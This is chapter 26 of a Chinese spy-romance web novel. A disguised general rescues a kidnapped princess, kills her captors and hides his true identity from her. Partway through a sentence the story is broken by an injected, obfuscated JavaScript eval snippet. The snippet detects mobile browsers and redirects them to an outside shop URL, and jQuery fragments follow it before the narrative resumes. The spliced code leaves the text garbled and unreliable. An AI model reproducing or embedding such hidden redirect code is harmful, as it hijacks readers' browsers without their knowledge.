26. 秘密

作品:《谍恋

    孟毅看着地上慌乱的马蹄印,和被打晕的婢女倒了一地,轿帘被扯掉了半个,但里面的人已经不见了踪影。孟毅来不及下马查看,立即顺着马蹄印追踪了出去。


    可走到一片岔路的时候,马蹄印子四散而去,他来不及多想,顺着一路追了出去,他在马上半立着身子,使劲着夹着马肚子,马儿嘶鸣奔出去更远,那身上丁零当啷的玉佩实在碍事,他一把扯住衣领,扯碎了衣领,丢弃在路边,只穿着束身的墨色衣袍。


    孟毅骑得是千里挑一的良驹,不消片刻便追上了三五个番邦打扮的人,从装束上看品阶不高,看来找错了方向,但再去找其他路也来不及。他掏出折扇,用力一甩,折扇四分五裂,里面弹出一把软剑来。


    他用力一蹬,从马上飞了出去,在空中如履平地,踩了四五步,便跃上了前面一个随从的马,他用力掐住那个随从的脖颈,声若寒铁,问道:“人去了哪个方向?”那人颤颤巍巍地说道:“是往灌木的方向去了。”只见那人身子一软,没了气息,脖子被孟毅拧断了,孟毅又跳到了旁边那匹马上,声音更低沉了:“在哪?”


    那人声音打颤,求饶道:“真是在灌木方向,那儿底下有个屋子,见不得人的情报都在那交易的,我们一会儿就去那汇合。”孟毅眼神如蛇扫视了其他三个人,三个人也忙慌地点头,如果他们消息没错的话,这个瑾王应该就是个养在边境的废物,怎么会有如此高的功夫。


    但没来及多想,只见一道寒光在黑暗中一闪,几个人瞬间瞪大了眼,接着脖子喷出大量的血,明明是软剑,封喉的时候却又削骨如泥。他跃回自己的马上,掉头离去,一路追踪过去。


    沿着灌木的方向往里走,约走出三里地,他屏住气息,跳下马去,像隐在黑暗中的猎人,他隐约觉得这里不对劲,他一步步探去,终于他知道哪里不对了,这里连虫鸣都没有。果然树叶动了动,上面飞身下来几个人,各个手持利刃。


    可孟毅只是手持剑,作防御状,飞身绕了一圈,这几人还没落地,便已经跌落在地上,又恢复了平静。既然有人埋伏在这里,想必他们碰头的点离这里应是不远。孟毅用软剑一扫,剑气带起地上的落叶,果真看到一个向下的通道。他用剑向下探去,约走了两个拐角,隐隐听到有喝酒打诨的声音。


    “孟国这些狗东西,居然还敢在我们头上拉屎拉尿,咱们在这里苦心经营这么多年,从没受过这种气。”


    接着又是酒盏碰撞的声音:“就是,这么好的中原地方就被这三个国占着,凭什么把咱们驱逐出去,今儿咱们就把孟老三的媳妇绑走,这下南国还孟国肯定要大战,到时候咱们再坐享其成。”


    “是,是,是,也不知老大享受了美人儿没,那小娘子长得还真是好看,也不知咱们待会能不能也分一杯羹去。”说着二人竟□□出声,再下一秒,只见一道黑影一闪,酒碗啪嗒落地,二人倒下了。


    他从怀中掏出一块面罩,系在面上,往里走,只见里面混合着女人低低呜咽哭泣的声音,还有男人的调笑声,孟毅怒火中烧,捡起地上的石头往门上砸,直接嵌在里面。


    里面的人吓了一跳,警惕地问:“谁?”见没人回应,他警惕地握紧怀中的弯刀,把门开出一个小缝,探出了一个眼睛。就这一瞬间,又一粒石子弹出,正中这个人的眉心,他应声倒地。


    里面的女人吓得尖叫,他没来及多想,闯了进去,谁知惊雪的裙摆已经被撕破一截,露出了白皙的腿,孟毅连忙把身体背过去,看到墙上有一张虎皮,他剑一挥,虎皮应声落下,他将虎皮卷到惊雪身上,然后顺势一把将人抱起,轻轻把她的头靠在怀中,不让她见到一地的狼藉,他感到怀中的人在轻轻地发抖。


    到了快到自己马车的方向,他将人放在一棵槐树下,然后转身遁入黑暗中。惊雪不知来人是谁,但在刚刚被救的时候,她感到来人的怀中硬邦邦的,她趁机摸出来,待人走后,趁着月光看看这是何物,一看大骇,一块乌铁上刻着一个“阮”字!


    “阮”?孟国有何人姓阮?唯有阮亭玉,玉面战神!难道来人是阮亭玉?他为何会出现在这里,又为何会救自己?孟毅呢?孟毅有没有遇险?是不是想要救孟毅意外救下了自己?他和孟毅什么关系?


    她的心砰砰砰跳,感觉已经跳到想呕吐,她扶着树干,撑着力气。孟毅回到车马上,见飞羽和星驰已经搜寻一圈回来了。他们见到孟毅一袭黑衣大惊,连忙迎他入马车,孟毅交代去把人接回来,然后自己换了身衣服,又恢复了往日的纨绔模样。


    可他一摸胸前,一顿,然后又扩大范围仔细摸着,心头一紧,低声吩咐飞羽:“去把令牌找回来。”


    “属下这就去找。”说着飞羽遁入黑暗。


    星驰把人完好无损地送回到孟毅的车上,惊雪偷偷打量着眼前人,不敢把疑问浮在心头。孟毅眉眼皆似含着桃花,甚是好看,肤白如玉,玉,玉面?她连忙低下头去,怎会有如此荒唐的想法。


    她努力平复心情,轻声道:“王爷可曾遇险?可还安好?”


    孟毅言语平静,道:“自然,歹人自是冲我而来,只是飞羽和星驰武艺高强,歹人无法靠近分毫。”


    “王爷安好,臣妾便放心了,只是不知王爷派人相救,为何要蒙面?”惊雪偷瞄着孟毅,想从他脸上找出破绽。


    但孟毅的面色如常,似乎丝毫不把这件事情放在心上,道:“是王府暗卫,暗卫自是不能暴露身份,如此而已。”说着孟毅露出了一副疲乏的样子,不耐烦道,“王妃还有何疑问吗?王妃不应是心存感激,如何处处质问本王?”


    “是臣妾失礼了,多谢王爷相救。”说着二人陷入了沉默,惊雪的心思早已百转千回,他说是暗卫相救,可暗卫如何有阮家军的令牌?听闻孟毅一直是在阮亭玉管辖的范围内放养,阮亭玉应对他也是照拂的吧。难道说这二人私下早就达成协议,阮亭玉助


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424816|199024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孟毅夺得皇位,换去阮家世代荣光?如果是这样的话,更要跟孟毅打好关系。阮亭玉一直是梁国的噩梦,或者说是孟国的栋梁,若是能借孟毅之手除掉他,梁国也能松口气。


    还好自己佯装不知,把令牌扔到了离槐树较远的地方,免得孟毅又对自己起疑。就这样又走了一个时辰,终于到了温泉庄,惊雪等着孟毅安顿,谁知孟毅把自己安顿和他一起住,还美约其名,怕再有歹人,在一处方便照应。


    说着,孟毅便让人把惊雪的东西都放进去,让惊雪先上去休息。他一直在庄门口等着,不多时,飞羽便回来了,脸上带着轻松的表情,私下把令牌还给了孟毅,还多嘴问道:“王爷可暴露身份了?”


    “未曾。”他珍视地摸着令牌,珍宝般地让飞羽先帮自己保管着。


    阮亭玉,不知这个身份还能不能回得去……那大漠的风沙,孤雁的哀鸣,厚重的城墙每每重逢在梦中,可此生,不知还有机会回去吗?


    数月前,三皇子孟毅接到和亲圣旨,可他早有佳人,宁死不从,阮亭玉奉旨护送孟毅回京。可他毕竟是皇子,自己又如何严加看管,孟毅竟然在回孟都的路上逃了!只留下要追求所爱的书信,便要脱籍皇子身份。


    可和亲之事耽误不得,反正孟毅从小就在边疆没人知道长何样,阮亭玉亦是,所以他便冒名顶替了孟毅和亲,而皇帝也乐见,正好他忌惮阮家军,趁此机会,可以控制住阮家军。


    兹事体大,只有皇帝和阮亭玉自己知晓,还有飞羽和星驰贴身随从,还有一个就是……痴情公主孟希。身份的事情不可暴露,不然边境不稳,南国还会借此起事,腹背受敌。


    阮亭玉绝望地闭上眼睛,再次睁开眼,便又是那个流连花丛的孟毅了。他回到了房中,惊雪就战战兢兢地坐在桌子前,看到孟毅回房,一下子惊吓地站起来,仿佛还没有从今夜的变故中回过神来。


    阮亭玉瞧着她,想到她刚刚像猫儿一样趴在自己怀中,紧紧抓着他的衣领,又想到她气焰嚣张地让自己道歉,莫名好笑。但他还是冷着脸,问道:“如何不睡?”


    惊雪低着头,并不答话,耳尖却有些红了,阮亭玉扫了一圈,明白了,偌大的房间,只有一张床。但他偏不说话,就等她开口,她为难地往床望了望。


    阮亭玉站到她面前,平铺着双臂,声音冷冷道:“更衣。”惊雪手心都渗出汗来,她颤颤巍巍解扣子,可那扣子偏又不听话,怎么也解不开,半晌才解开一个。


    阮亭玉手臂举得都有些累了,说道:“王妃不愿便罢了,何苦在这演戏呢?这衣服只怕是得脱到明日吧。”


    洛惊雪手上的动作越急越笨,玉饰都快被拽下来了,急得说:“不是的王爷,您这衣服实在太繁复了,臣妾实在是不会。”


    阮亭玉笑道:“那王妃可得好好练练了。”说着他走到窗边坐下,眼神向打量一个跑不掉的猎物一般,拍了拍床沿,道:“过来。”